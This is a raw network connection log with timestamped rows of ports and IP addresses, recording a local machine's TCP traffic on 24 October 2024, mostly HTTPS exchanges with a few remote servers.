Oct 24, 2024 11:57:34.475301027 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.475351095 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.475373030 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.475428104 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.475636005 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.475652933 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.475733042 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.475749016 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.475824118 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.476213932 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.476238012 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.476288080 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.476303101 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.476355076 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.551704884 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:34.592225075 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592243910 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592287064 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592320919 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.592353106 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592377901 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.592626095 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592652082 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592690945 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.592711926 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.592741013 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.592758894 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.615097046 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:34.636305094 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.636326075 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.636374950 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.636408091 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.636439085 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.636455059 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.694230080 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.694684982 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.694705963 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.695779085 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.695846081 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.696891069 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.696964025 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.697061062 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.697067976 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.698077917 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.698252916 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.698276997 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.699392080 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.699454069 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.700156927 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.700227976 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.700262070 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.708966970 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709017038 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709064960 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.709076881 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709096909 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.709121943 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.709539890 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709558964 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709608078 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.709615946 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.709670067 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.710038900 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.710055113 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.710099936 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.710115910 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.710124016 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.710149050 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.741471052 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.741471052 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.741482973 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.757457018 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.789469004 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.825973988 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.825997114 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826039076 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826062918 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.826078892 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826131105 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.826724052 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826730013 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826752901 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826837063 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.826843023 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.826881886 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.826973915 CEST	49742	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.826992035 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827009916 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827025890 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827059031 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.827064991 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827099085 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.827341080 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827632904 CEST	49742	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.827697992 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.827766895 CEST	49742	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.853462934 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:34.871330023 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.872710943 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.872756004 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.872800112 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.872806072 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.872859001 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943186045 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943213940 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943300962 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943317890 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943367958 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943429947 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943448067 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943504095 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943511009 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943566084 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943847895 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943882942 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.943945885 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943945885 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.943952084 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:34.944003105 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:34.974742889 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.980638027 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.980747938 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.980804920 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.981446981 CEST	49741	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.981465101 CEST	443	49741	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.993439913 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.993479967 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:34.993613958 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.993819952 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:34.993829012 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.028462887 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.030834913 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.030862093 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.030936956 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.030946970 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.030985117 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.031260014 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.033248901 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033263922 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033282995 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033293009 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033314943 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033315897 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.033350945 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.033365011 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.033365011 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.033385992 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.060380936 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060411930 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060468912 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060523033 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.060558081 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060587883 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.060606956 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.060687065 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060705900 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060736895 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.060744047 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.060782909 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.060802937 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.061142921 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.061158895 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.061223030 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.061229944 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.061367989 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.094923973 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.094953060 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.095029116 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.095058918 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.095081091 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.095103025 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.151220083 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.151242971 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.151309013 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.151330948 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.151367903 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.151386976 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.176882029 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.176912069 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.176975012 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.176992893 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177057981 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.177156925 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177175045 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177211046 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.177218914 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177248955 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.177263975 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.177268982 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177402973 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177460909 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.177469015 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.177999020 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.178020954 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.178076029 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.178083897 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.178107977 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.211666107 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.211687088 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.211774111 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.211791992 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.211877108 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.219470024 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.222996950 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.223048925 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.223083973 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.223093033 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.223121881 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.223148108 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.269009113 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.269059896 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.269097090 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.269125938 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.269171000 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.269171000 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.294301033 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.294436932 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.294491053 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.294563055 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.294626951 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.294631958 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.294666052 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.294688940 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.295016050 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295058966 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295097113 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.295106888 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295135975 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.295706034 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295747995 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295779943 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.295788050 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.295802116 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.328829050 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.328845978 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.328934908 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.328950882 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.329015017 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.329588890 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.329648018 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.329653978 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.329683065 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.329729080 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.330041885 CEST	49740	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.330060959 CEST	443	49740	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.334705114 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.334739923 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.334794998 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.335143089 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:35.335155964 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:35.350455046 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.410890102 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.410953999 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.410995960 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411016941 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411046028 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411068916 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411082983 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411240101 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411283970 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411298990 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411319971 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411345005 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411355019 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411654949 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411705971 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411744118 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.411757946 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.411791086 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.412242889 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412285089 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412312031 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.412319899 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412345886 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.412682056 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412727118 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412755013 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.412765026 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.412779093 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.412802935 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.457467079 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:35.527642965 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.527666092 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.527718067 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.527731895 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.527766943 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.527791023 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.528095007 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528110981 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528167963 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.528176069 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528476000 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.528773069 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528789997 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528844118 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528856039 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.528867006 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.528882027 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.528979063 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.529001951 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.529028893 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.529037952 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.529067993 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.580964088 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:35.581033945 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:35.581094027 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:35.583435059 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.609649897 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.609951019 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.610017061 CEST	49742	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.610824108 CEST	49742	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.610841990 CEST	443	49742	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.619762897 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.619790077 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.619889021 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.619901896 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.619941950 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.644916058 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.644933939 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.644999027 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.645010948 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.645190954 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.645497084 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.645513058 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.645567894 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.645576954 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.645610094 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.646037102 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.646054983 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.646115065 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.646122932 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.646169901 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.646625042 CEST	443	49725	104.21.68.211	192.168.2.16
